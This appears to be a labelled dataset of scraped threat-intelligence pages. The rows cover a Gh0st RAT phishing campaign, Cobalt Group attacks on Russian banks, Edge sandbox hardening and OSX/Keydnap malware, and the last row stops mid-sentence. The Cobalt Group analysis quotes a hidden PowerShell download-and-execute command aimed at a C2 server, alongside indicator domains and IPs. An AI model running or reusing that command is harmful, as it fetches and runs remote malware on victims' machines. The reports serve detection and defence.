Us Newsroom Newsroom Central Events Blogs Partners Partner Programs Partner Portal Products AT&T Managed Threat Detection and Response USM Anywhere USM for MSSPs USM Appliance Partner Managed Solutions Open Threat Exchange (OTX) OSSIM Solutions Cloud Security Management Threat Detection Intrusion Detection SIEM and Log Management Vulnerability Assessment See All Solutions Resources Resources Blogs Customer Success Support & Services Success Center Documentation Center Training Certification hello@alienvault.com US toll-free (888) 613-6023 \xc2\xa9 Copyright 2019 Privacy Policy Website Terms of Use GDPR Cookie Policy By using our website, you agree to our Privacy Policy & Website Terms of Use.","1","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Kunming Attack Leads to Gh0st RAT Variant - TrendLabs Security Intelligence Blog Trend Micro About TrendLabs Security Intelligence Blog Search: Go to\xe2\x80\xa6 Home Categories - \xc2 \xc2 Ransomware - \xc2 \xc2 Vulnerabilities - \xc2 \xc2 Exploits - \xc2 \xc2 Targeted Attacks - \xc2 \xc2 Deep Web - \xc2 \xc2 Mobile - \xc2 \xc2 Internet of Things - \xc2 \xc2 Malware - \xc2 \xc2 Bad Sites - \xc2 \xc2 Spam - \xc2 \xc2 Botnets - \xc2 \xc2 Social - \xc2 \xc2 Open source Home Categories Ransomware Vulnerabilities Exploits Targeted Attacks Deep Web Mobile Internet of Things Malware Bad Sites Spam Botnets Social Open source Home \xc2 \xc2 \xc2\xbb\xc2 \xc2 Malware \xc2 \xc2 \xc2\xbb\xc2 \xc2 Kunming Attack Leads to Gh0st RAT Variant Kunming Attack Leads to Gh0st RAT Variant Posted on:March 13, 2014 at 9:30 am Posted in:Malware, Spam, Targeted Attacks Author: Kervin Alintanahin (Threats Analyst) 0 Recently, a mass stabbing incident in Kunming, China\xc2 left 29 victims dead. We came across an email which used this incident as social engineering bait. To appear legitimate, the message talks about the incident at length and cites several news outlets as its sources. It encourages the user to open the attached document for more information. The document is entitled \xe2\x80\x9cViolent terror attack,\xe2\x80\x9d probably named as such to pique the recipient\xe2\x80\x99s interest. Figure 1. Spammed message The attached document is actually malicious, and is detected as TROJ_EXPLOYT.AGH. This malware takes advantage of a particular Microsoft Office vulnerability (CVE-2012-0158, or MS12-027) to drop a backdoor \xe2\x80\x93 BKDR_GHOST.LRK\xc2 \xe2\x80\x93\xc2 \xc2 onto the system. Apart for its backdoor routines, this malware can steal information through keylogging, audio recording, and screen capture. A closer look into BKDR_GHOST.LRK reveals one striking detail: when it communicates to its C&C server, the malware uses the string \xe2\x80\x9cLURK0\xe2\x80\x9d. This string was also associated with a malware variant that was used in the GhostNet campaign. We noted in a previous paper titled Detecting APT Activity with Network Traffic Analysis\xc2 that a Ghost variant had replaced \xe2\x80\x9cGh0st\xe2\x80\x9d (its usual header content) with \xe2\x80\x9cLURK0\xe2\x80\x9d. The configuration file also contains the marker \xe2\x80\x9cdefault.\xe2\x80\x9d This is often used as a mark on which campaign a malware belongs to. \xc2 However,\xc2 Trend Micro researchers have encountered old samples bearing the same markers dating back to 2012. Despite its intended target, regular users can still find themselves victims of this attack. Email attacks often use \xe2\x80\x9cclick-worthy\xe2\x80\x9d or interesting topics to convince users to click links or open attachments that could lead to various threats. Users are advised to avoid opening attachments and click links on unsolicited emails. They should also visit reputable and trustworthy news sites for updates on the latest news and current events.\xc2 We detect and block all threats related to this incident. For more details on various targeted attacks, as well as best practices for enterprises, you may visit our Threat Intelligence Resources on Targeted Attacks. Additional analysis by Mark Manahan. Learn how to protect Enterprises, Small Businesses, and Home Users from ransomware: ENTERPRISE \xc2\xbb SMALL BUSINESS\xc2\xbb HOME\xc2\xbb Tags: GhostnetKunmingRAT Featured Stories systemd Vulnerability Leads to Denial of Service on Linux qkG Filecoder: Self-Replicating, Document-Encrypting Ransomware Mitigating CVE-2017-5689, an Intel Management Engine Vulnerability A Closer Look at North Korea\xe2\x80\x99s Internet From Cybercrime to Cyberpropaganda Security Predictions for 2019 Our security predictions for 2019 are based on our experts\xe2\x80\x99 analysis of the progress of current and emerging technologies, user behavior, and market trends, and their impact on the threat landscape. We have categorized them according to the main areas that are likely to be affected, given the sprawling nature of the technological and sociopolitical changes under consideration. Read our security predictions for 2019. Business Process Compromise Attackers are starting to invest in long-term operations that target specific processes enterprises rely on. They scout for vulnerable practices, susceptible systems and operational loopholes that they can leverage or abuse. To learn more, read our Security 101: Business Process Compromise. Recent Posts When PSD2 Opens More Doors: The Risks of Open Banking Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload Hacking LED Wristbands: A \xe2\x80\x98Lightning\xe2\x80\x99 Recap of RF Security Basics From BinDiff to Zero-Day: A Proof of Concept Exploiting CVE-2019-1208 in Internet Explorer September Patch Tuesday Bears More Remote Desktop Vulnerability Fixes and Two Zero-Days Popular Posts TA505 At It Again: Variety is the Spice of ServHelper and FlawedAmmyy BlackSquid Slithers Into Servers and Drives With 8 Notorious Exploits to Drop XMRig Miner Adware Posing as 85 Photography and Gaming Apps on Google Play Installed Over 8 Million Times Uncovering a MyKings Variant With Bootloader Persistence via Managed Detection and Response Latest Spam Campaigns from TA505 Now Using New Malware Tools Gelup and FlowerPippi Stay Updated Email Subscription Subscribe Home and Home Office | For Business | Security Intelligence | About Trend Micro Asia Pacific Region (APAC): Australia / New Zealand, \xe4\xb8\xad\xe5\x9b\xbd, \xe6\x97\xa5\xe6\x9c\xac, \xeb\x8c\x80\xed\x95\x9c\xeb\xaf\xbc\xea\xb5\xad, \xe5\x8f\xb0\xe7\x81\xa3 Latin America Region (LAR): Brasil, M\xc3\xa9xico North America Region (NABU): United States, Canada Europe, Middle East, & Africa Region (EMEA): France, Deutschland / \xc3\x96sterreich / Schweiz, Italia, \xd0 \xd0\xbe\xd1\x81\xd1\x81\xd0\xb8\xd1\x8f, Espa\xc3\xb1a, United Kingdom / Ireland Privacy Statement Legal Policies Copyright \xc2\xa9 Trend Micro Incorporated. All rights reserved.","1","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"We are rolling out a global privacy statement, effective June 15, 2019. By using this site, you agree with our use of cookies as described in the statement here. I consent to cookies Want to know more? RiskIQ Sign Up for the Free Edition Blog Contact Us TRY COMMUNITY EDITION CONTACT US Blog First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks January 16, 2018Yonathan Klijnsma Last year November, we documented activities of the Cobalt Group using CVE-2017-11882. In December they were already setting up for their next campaign. Today, on January 16th, the first wave of spear phishing emails were delivered to the inboxes of Russian banks. Sadly, this time around, the group didn\xe2\x80\x99t forget to BCC. The emails were sent in the name of a large European bank in an attempt to social engineer the receiver into trusting the email. The emails were quite plain with only a single question in the body and an attachment with the name once.rtf. In other cases, we saw a file with the name \xd0\x97\xd0\xb0\xd1\x8f\xd0\xb2\xd0\xbb\xd0\xb5\xd0\xbd\xd0\xb8\xd0\xb5.rtf attached to an email that was also written in Russian: The first wave of spear phishing emails was delivered to the inboxes of Russian banks. Sadly, this time around, the Cobalt Group didn\xe2\x80\x99t forget to BCC. Fig-1 Example of spear phishing email The emails were sent from addresses on the domains bankosantantder.com and billing-cbr.ru, which were both set up for this campaign specifically. Analysis The attachment abuses CVE-2017-11882 to start PowerShell with the following command: powershell -nop -w hidden -c \xe2\x80\x9cIEX ((new-object net.webclient).downloadstring(\xe2\x80\x98http://46.21.147.61:80/a\xe2\x80\x99))\xe2\x80\x9d This command downloads and executes a second stage, which is also a PowerShell script, but encoded: The first wave of spear phishing emails was delivered to the inboxes of Russian banks. Sadly, this time around, the Cobalt Group didn\xe2\x80\x99t forget to BCC. Fig-2 Second stage This script decodes to the third stage of the attack, another PowerShell script. This stage-three script is used to load a small piece of embedded shellcode into memory and run it like so: The first wave of spear phishing emails was delivered to the inboxes of Russian banks. Sadly, this time around, the Cobalt Group didn\xe2\x80\x99t forget to BCC. Fig-3 Stage-three script The shellcode starts the Cobalt Strike stager in a new threat and starts it up. This stager will initiate connectivity with the C2 server to install the Cobalt Strike implant. Infrastructure As shown, the stager beacons out to helpdesk-oracle.com, which was registered by a person using the email address krystianwalczak@yandex.com. This email address pointed us to another domain, which was registered on the same date and follows a similar pattern: The first wave of spear phishing emails was delivered to the inboxes of Russian banks. Sadly, this time around, the Cobalt Group didn\xe2\x80\x99t forget to BCC. Fig-4 WHOIS information for the malicious email addresses Right now, the server to which the domain help-desc-me.com points doesn\xe2\x80\x99t seem to be active, nor have we seen any malicious samples connect to it. We have marked it as malicious and listed it in the IOCs below, as we believe it will be part of either a next stage of the attack shown above or used in the next wave of spear phishing emails. Indicators of Compromise (IOC) All of the IOCs listed below are also available in the RiskIQ Community Public Project located here: https://community.riskiq.com/projects/f0cd2fc9-a361-2a4c-4489-a21ddf98349b We have not added the hashes of the staging scripts because they do not appear on the system itself\xe2\x80\x94they live in memory during the initial stages of the attack. Filesystem IOCs Filename(s) Note MD5 Once.rtf, \xd0\x97\xd0\xb0\xd1\x8f\xd0\xb2\xd0\xbb\xd0\xb5\xd0\xbd\xd0\xb8\xd0\xb5.rtf CVE-2017-11882 RTF 2e0cc6890fbf7a469d6c0ae70b5859e7 Network IOCs Domain IP Address Note bankosantantder.com 46.102.152.157 Sender domain billing-cbr.ru 85.204.74.117 Sender domain helpdesk-oracle.com 46.21.147.61 C2 server help-desc-me.com 139.60.163.10 Secondary C2 Share: Return to Blog Home SEARCH CATEGORIES External Threat Management (224) Labs (83) Analyst (77) Magecart (16) Interesting Crawls (6) CONNECT WITH US FEATURED POST RiskIQ\xe2\x80\x99s 2019 Evil Internet Minute: All the Cyber Threats Jammed Into 60 Seconds July 24, 2019Team RiskIQ Tweets by @riskiq RiskIQFollowRiskIQ RiskIQRiskIQ@RiskIQ\xc2\xb716 Sep It's near impossible to hide online. Even \xe2\x80\x98stealth\xe2\x80\x99 executives are at risk for serious security breaches https://t.co/MRKhZbAW7i Reply on TwitterRetweet on Twitter1Like on Twitter1Twitter Retweet on TwitterRiskIQ Retweeted SINETconnectionSINET@SINETconnection\xc2\xb712 Sep Nick Gicinto,Vice President, Executive Guardian @RiskIQ on stage #SINETCanada #cybersecurity @FSToronto, @SINETConnection Reply on TwitterRetweet on Twitter5Like on Twitter4Twitter Retweet on TwitterRiskIQ Retweeted ITProPortalITProPortal@ITProPortal\xc2\xb710 Sep Automation: the key to fighting cybercriminals https://t.co/dkx9Y3NApF Reply on TwitterRetweet on Twitter2Like on Twitter1Twitter RiskIQRiskIQ@RiskIQ\xc2\xb710 Sep Coming to CyberHub Summit? Find out how RiskIQ's internet-wide visibility and unmatched data are helping the c-suite cope with a rapidly changing cybersecurity landscape https://t.co/IMaU5tLJfc Reply on TwitterRetweet on TwitterLike on Twitter3Twitter RiskIQRiskIQ@RiskIQ\xc2\xb710 Sep Today! Visit us at booth #1486 at #GSX2019 to find out how RiskIQ #ExecutiveGuardian is giving today's top executives a continuous 360-degree view of their attack surface. Reply on TwitterRetweet on TwitterLike on Twitter1Twitter Load More... Our Technology RiskIQ Illuminate Platform RiskIQ Digital Footprint\xe2\x84\xa2 RiskIQ PassiveTotal\xe2\x84\xa2 RiskIQ External Threats\xe2\x84\xa2 Executive Guardian RiskIQ SIS\xe2\x84\xa2 (Security Intelligence Services) What is Attack Surface Management? Services Portfolio Compare Our Products Stay Informed News Coverage Press Releases Blog Awards and Recognition Resources Events About RiskIQ About Us Careers Contact Support Terms Privacy Cookie Preferences Copyright 2016 - 2019 RiskIQ","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0" -"CrowdStrike 2018 Global Threat Report Thumbnails Document Outline Attachments Previous Next Highlight all Match case Whole words Presentation Mode Open Print Download Current View Go to First Page Go to Last Page Rotate Clockwise Rotate Counterclockwise Text Selection Tool Hand Tool Vertical Scrolling Horizontal Scrolling Wrapped Scrolling No Spreads Odd Spreads Even Spreads Document Properties\xe2\x80\xa6 Toggle Sidebar Find Previous Next Presentation Mode Open Print Download Current View Tools Zoom Out Zoom In Automatic Zoom Actual Size Page Fit Page Width 50% 75% 100% 125% 150% 200% 300% 400% More Information Less Information Close Enter the password to open this PDF file: Cancel OK File name: - File size: - Title: - Author: - Subject: - Keywords: - Creation Date: - Modification Date: - Creator: - PDF Producer: - PDF Version: - Page Count: - Page Size: - Fast Web View: - Close Preparing document for printing\xe2\x80\xa6 0% Cancel Your browser is a bit outdated. Update it for the best content experience. Close","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Skip to ContentSkip to Footer This site uses cookies for analytics, personalized content and ads. By continuing to browse this site, you agree to this use.Learn more Microsoft Windows Blogs Windows 10 Devices Windows Developer More All Microsoft MARCH 23, 2017 10:00 AM Strengthening the Microsoft Edge Sandbox By Crispin Cowan SHARE TWEET SHARE SHARE SKYPE In a recent post, we outlined the layered strategy that the Microsoft Edge security team employs to protect you from vulnerabilities that could be used to compromise your device or personal data. In particular, we showed how Microsoft Edge is leveraging technologies like Code Integrity Guard (CIG) and Arbitrary Code Guard (ACG) to break some of the techniques that hackers rely on when exploiting vulnerabilities to obtain Remote Code Execution (RCE). This is where the attacker seeks to escape from web code (JS and HTML) in the browser to run native CPU code of the attacker\xe2\x80\x99s choosing. This lets the attacker violate all of the browser\xe2\x80\x99s rules for the web, such as same-origin policy, and so it is important to web users that we try as hard as possible to block RCE attacks. However, despite our best efforts, sometimes attackers get RCE anyway. In this post, we\xe2\x80\x99ll explore some of the significant improvements we\xe2\x80\x99ve made in the Windows 10 Creators Update to strengthen our next line of defense: the Microsoft Edge sandbox. The history of the Microsoft Edge sandbox Because RCE can happen, and in the past, often did, browser vendors have sought to sandbox the browser to defend the rest of the user\xe2\x80\x99s PC from attack. In 2007, IE7 introduced Protected Mode, the first web browser sandbox. Windows 8 added app container to the OS, primarily to support the new Windows Store app model and support the confidence promise that apps are safe to use. IE10 and IE11 leveraged app container to create EPM (Enhanced Protected Mode) a stronger browser sandbox. However, the EPM sandbox restrictions were incompatible with older ActiveX controls that predated app container, and so EPM was provided as a security enhancing option. Microsoft Edge does not support ActiveX, so it is able to run entirely inside app container sandboxes at all times. Since the beginning, Microsoft Edge has used several app containers. At first there was a parent app container for the Manager, which created a small number of additional app containers to host content from the internet separate from intranet content. The Windows 10 Anniversary Update moved Flash into its own, separate AC. Today the Microsoft Edge app container model looks like this: Diagram of the Microsoft app container structure. A manager app container governs individual app containers for the Internet, Intranet, Extensions, Service UI, and Adobe Flash. The Manager provides browser features such as the URL bar, the back button, tabs, and your favorites list. The other app containers are: Internet AC: hosts content from Internet sites. Intranet AC: hosts content from Intranet sites. For enterprise users, that is enterprise web sites. For consumers, that is \xe2\x80\x9cweb sites\xe2\x80\x9d that are control interfaces for devices on your home network, such as your Wi-Fi router, or IoT devices. Separating this RAC from the Internet e.g. protects your home Wi-Fi router from Internet attackers. Extensions AC: hosts the new extensions for Microsoft Edge. Flash AC: hosts the Adobe Flash player, to isolate it from the main content processes. Service UI AC: hosts special web pages, such as about:flags, and the default home page. The Internet AC is where the action is. Its job is to host web pages from anywhere, including the JS code provided by that web page, images, and multimedia. Hosting web pages is extremely complex, due to the richness of the modern web; this is the platform of the Internet, and developers need to be able to create any application and run it in this environment. Because it is complex, and hosts web pages from anywhere, this is where web security attacks begin. A malicious web site presents content intended to exploit bugs in the content hosting system, to take over control of the content process. If an attacker gains control of an Internet AC process, they need to find some way to achieve their goals. If their goals involve compromising the user\xe2\x80\x99s device or personal data stored on the device, then they\xe2\x80\x99ll need to contend with escaping from the sandbox first. Reducing the attack surface of the Microsoft Edge sandbox One of the most effective ways to eliminate vulnerabilities in complex applications is to minimize the amount of code that an attacker can try to find vulnerabilities in. This is often referred to as attack surface reduction and it is a key tactic in our overall strategy security. To this end, Microsoft Edge in the Creators Update of Windows 10 has significantly reduced the attack surface of the sandbox by configuring the app container to further reduce its privilege. To understand how we tuned the Microsoft Edge AC, it is first necessary to know how app container itself works. An app container process is deny-by-default for any secured object unless the object security descriptor has an allow access control entry (ACE) that would permit the app container to have access. There are three kinds of SIDs that can be used in such ACEs: Capabilities: if a Capability SID based allow ACE is in the security descriptor, and the requesting AC has that Capability SID in its token, then it gets access. E.g. Webcam-related devices are accessible to processes that have the WEBCAM Capability SID such as Microsoft Edge. AppID SIDs: if a specific AppID SID based allow ACE is in the security descriptor, and the requesting AC is that specific AppID, then it gets access. The main use for this is per-app storage, which uses the AppID of that app in the security descriptor, ensuring that its storage is private to that app. \xe2\x80\x9cALL APPLICATION PACKAGES\xe2\x80\x9d (\xe2\x80\x9cAC\xe2\x80\x9d SID): this is the AC wild card, allowing all app containers to access the resource. The \xe2\x80\x9cAC\xe2\x80\x9d SID exists so that Windows can provide an app platform that is useful to developers, allowing rich UWPs in the Windows Store. For instance, most of the WinRT API surface is open to the \xe2\x80\x9cAC\xe2\x80\x9d SID, so that all UWP apps can access the WinRT APIs. The Microsoft Edge AC has been made different in only one way: the \xe2\x80\x9cAC\xe2\x80\x9d SID is not sufficient to let a requesting process access a resource. To get access, the AC must either have a matching Capability SID, or be precisely one of the named AppIDs in the security descriptor. Thus the AC loses access to the entire WinRT API set, and every other resource that app containers normally can access. That\xe2\x80\x99s great for security, with the slight problem that it would break everything about the browser, turning it into a highly secure brick. Diagram showing the AC access scope. The Edge content process only has access to a specific subset of the AC access scope, based on capabilities. Microsoft Edge \xe2\x80\x9cTuned\xe2\x80\x9d AC Diagram of a normal app container, consisting of a full AC access scope authorized by the AC SID. \xe2\x80\x9cNormal\xe2\x80\x9d app container So to make Microsoft Edge work again, we used specific Capabilities to light up specific areas of functionality. For instance, we created a Capability that enables COM to work. We similarly added other new capabilities, granting access to specific resources, until Microsoft Edge worked again. Then we added some telemetry to detect access control failures for the content process and shared it to users in the Windows Insider Program (WIP) to ensure that we had granted access to all resources needed for all scenarios. What we just did here was to create a tuned sandbox for the Microsoft Edge content process, with a much tighter fit to the functional needs of the software than a normal app container provides. That is a lot of work, which is why this is not how the UWP platform works. But because web browsers are among some of the most threatened software there is, it is worth it in this case. We repeated this work of hand-tuning a sandbox for the Flash AC, because it also is subject to a lot of attacks. Placing Flash in a tighter sandbox complements our work in this release to make Flash be click-to-run. Making it more difficult to exploit sandbox escape vulnerabilities The main threats in a sandbox are the broker interfaces that provide access to resources according to a defined policy. So why have brokers at all? Brokers exist to grant access according to policy, e.g. the File broker allows a website to say \xe2\x80\x9cupload a file by browsing your files\xe2\x80\x9d and the user gets to pick the file to be uploaded, without giving the web site access to all of the user\xe2\x80\x99s files. Brokers are a threat to sandboxes because brokers are code (and therefore can have bugs) and because the brokers run outside the sandbox. If an attacker can hack a broker and run code in the broker, then the attacker can escape, similar to an inmate mugging a prison guard and then putting on the guard\xe2\x80\x99s uniform to escape. The tightened Microsoft Edge content process sandbox cuts off access to many brokers (reduced attack surface) but leaves the needed brokers accessible (residual threat). An attacker might try to exploit bugs in the accessible brokers to elevate privileges and execute arbitrary native code in the broker, and thus escape. To mitigate this threat, we have applied many of the same exploit mitigation technologies to the brokers that provide service to Microsoft Edge. Microsoft Edge also has some surprising brokers, because the exploit mitigation work forced several components to move out-of-process (OOP), including the Chakra JIT code generator and the Flash runtime process. These components had to move out of process because they necessarily do code generation (JIT) and that is not compatible with the ACG mitigation applied to the content process. Thus, these components function as the \xe2\x80\x9cJS code generator\xe2\x80\x9d broker and the \xe2\x80\x9cRun Flash bytecode\xe2\x80\x9d broker. They can be viewed as brokers precisely because they have permission to do something that the content process is not permitted to do for itself. They are also a threat, because an attacker that can gain control of OOP JIT or the Flash sandbox could e.g. create executable code and use that for further exploitation, bypassing ACG. Because they are a threat, we have also have put these processes into tuned, less privileged app containers, again with a custom-crafted container profile built from capabilities. Impact to attackers Making the Microsoft Edge content process run in this tighter sandbox reduces the sandbox attack surface, but by how much? As it turns out, the reduction is quite significant: 100% reduction access to MUTEXes: allow a process to lock up a resource, causing hangs. 90% reduction in access to WinRT and DCOM APIs: this is the large win here, dramatically reducing Microsoft Edge\xe2\x80\x99s attack surface against the WinRT API set. 70% reduction access to events and symlinks: symlinks are especially interesting, because they are often used in creative bait & switch attacks to escape sandboxes. 40% reduction in access to devices: Windows supports many device drivers, and their quality is somewhat beyond Microsoft\xe2\x80\x99s control. The tuned sandbox cuts off access to any device that Microsoft Edge does not explicitly need, preventing attackers from using vulnerabilities in device drivers to escape, or from abusing the devices. While attack surface reduction does not guarantee that an attacker cannot escape the sandbox, it does dramatically reduce the opportunities for attack, much like reducing the number of windows and doors in a fortress. In addition, the enabling of additional exploit mitigations for the brokers that Microsoft Edge is legitimately able to access also increases the difficulty of exploiting vulnerabilities that remain. Conclusion Security is a process, not a destination, so we will continue to invest in both RCE and sandbox mitigations for Microsoft Edge. These exploit mitigations combined with the strengthened sandboxing should make Microsoft Edge significantly more work for attackers to exploit, and thus discourage attackers from trying in the first place. \xe2\x80\x95 Crispin Cowan, Senior Program Manager, Microsoft Edge TAGS App Container Behind the Scenes Creators Update EdgeHTML 15 Sandbox Security SHARE TWEET SHARE SHARE SKYPE Join the conversation social login iconPlease sign in to comment RELATED POSTS Update on removing Flash from Microsoft Edge and Internet Explorer Read more Sign-in and sync with work or school accounts in Microsoft Edge Insider builds Read more Screenshot of the Collections button in the address bar in Microsoft Edge Collections is now available to test in the Canary channel Read more What's new Surface Pro 6 Surface Laptop 2 Surface Go Xbox One X Xbox One S VR & mixed reality Windows 10 apps Office apps Microsoft Store Account profile Download Center Microsoft Store support Returns Order tracking Store locations Buy online, pick up in store Education Microsoft in education Office for students Office 365 for schools Deals for students & parents Microsoft Azure in education Enterprise Azure AppSource Automotive Government Healthcare Manufacturing Financial services Retail Developer Microsoft Visual Studio Windows Dev Center Developer Network TechNet Microsoft developer program Channel 9 Office Dev Center Microsoft Garage Company Careers About Microsoft Company news Privacy at Microsoft Investors Diversity and inclusion Accessibility Security Sitemap Contact Microsoft Privacy & cookies Terms of use Trademarks Safety & eco About our ads \xc2\xa9 Microsoft 2019","0","1","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"New OSX/Keydnap malware is hungry for credentials | WeLiveSecurity In English Em Portugu\xc3\xaas En fran\xc3\xa7ais En Espa\xc3\xb1ol In Deutsch Menu toggle menu All Posts Latest Research How To Videos Podcasts Conference Materials White Papers Magazine Our Experts Em Portugu\xc3\xaas En fran\xc3\xa7ais En Espa\xc3\xb1ol In Deutsch Award-winning news, views, and insight from the ESET security community New OSX/Keydnap malware is hungry for credentials For the last few weeks, ESET has been investigating OSX/Keydnap, a malware that steals the content of the keychain while maintaining a permanent backdoor. Marc-Etienne M.L\xc3\xa9veill\xc3\xa9 6 Jul 2016 - 02:30PM Share For the last few weeks, ESET has been investigating OSX/Keydnap, a malware that steals the content of the keychain while maintaining a permanent backdoor. ESET analyzes multiple samples targeting OS X every day. Those samples are usually potentially unwanted applications\xc2 that inject advertisements into browser displays while the victim is browsing the web. For the last few weeks, we have been investigating an interesting case where the purpose of the malware is to steal the content of the keychain and maintain a permanent backdoor. This article will describe the components of this threat and what we know about it so far. Infection vector It is still not clear how victims are initially exposed to OSX/Keydnap. It could be through attachments in spam messages, downloads from untrusted websites or something else. What we know is that a downloader component is distributed in a .zip file. The archive file contains a Mach-O executable file with an extension that looks benign, such as .txt or .jpg. However, the file extension actually contains a space character at the end, which means double-clicking the file in Finder will launch it in Terminal and not Preview or TextEdit. Figure 1: Finder window with the ZIP and the malicious \xe2\x80\x9c.jpg \xe2\x80\x9d file Figure 2: The downloader\xe2\x80\x99s file information window The ZIP also contains the Resource fork that contains the icon of the executable file. It mimics the icon Finder usually applies to JPEG or text files to increase the likelihood the recipient will double-click the file. Once started, a Terminal window opens and the malicious payload is executed. /wp-content/uploads/2016/07/downloader_started_600.m4v Figure 3: Screen capture of\xc2 the downloader executed on OS X El Capitan. Notice the Terminal icon shows for a fraction of a second before opening Preview. OSX/Keydnap downloader The downloader is an unsigned Mach-O executable. Thus, if the file is downloaded from an internet browser and Gatekeeper is activated on the machine \xe2\x80\x93 the default in recent versions of OS X and macOS \xe2\x80\x93 it will not execute and display a warning to the user. Figure 4: Message shown if ZIP\xc2 file is downloaded from Safari Keydnap\xe2\x80\x99s downloader is simple. It will: Download and execute the backdoor component Replace the content of the downloader Mach-O executable with a decoy, either using a base64-encoded embedded file or by downloading it from the internet Open a decoy document (described later) Close the Terminal window that just opened The decoy document replaces the downloader Mach-O file, which means the malicious executable is only present in the ZIP file now. The downloader isn\xe2\x80\x99t persistent. However, the downloaded backdoor will add an entry to the LaunchAgents directory and survive across reboot. It is described in more details in the backdoor section. We have found multiple variants of the downloader executable. A list of different samples can be found at the end of the article. Interestingly, we\xe2\x80\x99ve seen recent samples embedding decoy documents that are screenshots of botnet C&C panels or dumps of credit card numbers. This suggests that Keydnap may be targeting users of underground forums or maybe even security researchers. Also included in recent variants is a \xe2\x80\x9cbuild name\xe2\x80\x9d. We have seen three different names: elitef*ck, ccshop and transmission. Figure 5: Example decoy image (1) Figure 5: Example decoy image (2) Figure 5: Example decoy image (3) OSX/Keydnap backdoor All samples of the backdoor we have seen have the filename icloudsyncd. The malware has a version string that is reported to the C&C server. So far, we have seen two versions: 1.3.1 first seen in May 2016\xc2 and 1.3.5 in June. Obfuscation While the downloader module is not packed, the backdoor is packed with a modified version of UPX. Two modifications are made to UPX version 3.91: The magic bytes UPX! in the UPX header are replaced with ASS7, The decompressed code and strings sections are XORed with 0x01. While self-decompressing, the XOR is applied after decompression and before calling the main function of the original binary. Figure 6: Difference between a stock UPX packed file and the modified one A patch for UPX is available on ESET\xe2\x80\x99s malware-research Github repository that allows unpacking Keydnap\xe2\x80\x99s backdoor with the usual upx -d. Persistence Once started, the Keydnap backdoor installs a plist file in /Library/LaunchAgents/ if 